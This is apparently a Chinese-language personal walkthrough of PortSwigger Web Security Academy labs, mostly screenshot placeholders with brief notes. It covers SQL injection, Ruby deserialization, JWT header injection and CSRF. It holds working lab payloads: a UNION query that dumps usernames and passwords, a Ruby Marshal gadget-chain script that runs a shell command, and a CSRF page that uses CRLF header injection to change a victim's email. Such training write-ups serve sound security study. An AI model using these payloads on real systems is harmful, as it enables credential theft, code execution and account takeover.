burpsuite靶场

https://portswigger.net/web-security/all-labs

image-20220728144110831

sql注入

SQL1

image-20220728143053009

点点看发现一个参数

image-20220728143133442

image-20220728143148095

但是这里不是注入点

image-20220728143305499

image-20220728143325122

SQL2

image-20220728144417567

image-20220728145236354

image-20220728145255338

SQL3

image-20220728145744371

SQL4

image-20220728150405636

SQL5

image-20220728150726748

image-20220728150806501

SQL6

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
这里的”||“是Oracle中的字符串连接符,这样就既能将多列结果合并到单列输出,又能把多列结果区分开了

image-20220728151227211

image-20220728151257764

SQL7

image-20220728151833322

SQL8

image-20220728152208888

SQL9

image-20220728152555723

image-20220728153140528

image-20220728153241313

image-20220728153323931

image-20220728153420199

SQL10

其实Oracle中也有类似信息模式的东西,比如查所有的表
SELECT * FROM all_tables
啊这,感觉比信息模式简单粗暴啊,直接叫all_tables?好东西好东西,然后我们来看一下查所有的列用什么语句呢SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

image-20220728154258920

image-20220728154419209

image-20220728154455846

image-20220728154524928

不安全的反序列化

使用记录在案的小工具链利用 Ruby 反序列化

使用wiener:peter登录

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
# rs.instance_variable_set('@git_set', "id")
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# puts payload.inspect
# puts Marshal.load(payload)
puts Base64.encode64(payload)

复制用于生成有效负载的脚本,并将应执行的命令

stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")中的id  从id更改为rm /home/carlos/morale.txt

并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和 Base64 编码版本

image-20220728164826701

image-20220728171358202

image-20220728171412344

image-20220728171434338

JWT 攻击

通过 jwk 标头注入绕过 JWT 身份验证

image-20220728172428652

image-20220728172029174

image-20220728185523560

image-20220728185536101

image-20220728185029704

image-20220728200622127

image-20220728201629611

image-20220728201646751

image-20220728201736971

image-20220728201800159

image-20220728201826508

image-20220728201834376

CSRF

没有防御措施的 CSRF 漏洞

image-20220729091236033

image-20220729091300235

image-20220729091320433

image-20220729091546912

image-20220729091606467

image-20220729091718661

image-20220729091739895

发现邮箱更改了

image-20220729092237422

添加js代码自动提交

image-20220729092341991

我们先登录第一个账号

image-20220728210203248

更改session会导致退出

image-20220728210225230

但是更改csrfkey只会导致csrfkey非法

image-20220728210327114

开一个无痕 登录第二个账户

image-20220728210748850

这里对csrfkey 与 csrf进行交换,也就是把第二个的换给第一个 还需要注意的是csrf需要每次进行更换,所以抓包时要注意

image-20220728211331218

但是这里的问题就在于我们怎么把cookie中的csrfkey给注入进去

image-20220729115713736

我们发现这里的search会在cookie中记录上一次的搜索结果,因此我们可以尝试进行注入

image-20220729115810001

发现成功注入cookie

image-20220729120318919

image-20220729123655820

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0ac6002a0309f9b3c05a8ff000fc00fe.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="11aa&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="J3PTLGwHJiFQ5bFOvn8SndXwg64gZ5lk" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0ac6002a0309f9b3c05a8ff000fc00fe.web-security-academy.net/?search=qqqq;%0d%0aSet-Cookie:%20csrfKey=tvL4GwIKRhp6VCy8WZgBqkRCbA6BQ1jT" onerror="document.forms[0].submit()">
</body>
</html>

测试下看看

image-20220729123746916

打开连接之后首先会发送一个search请求去setcookie

image-20220729123817807

image-20220729123833751

接着去发送第二个更改email的请求

image-20220729123902859

发现已经更改

image-20220729123928954

image-20220729124013666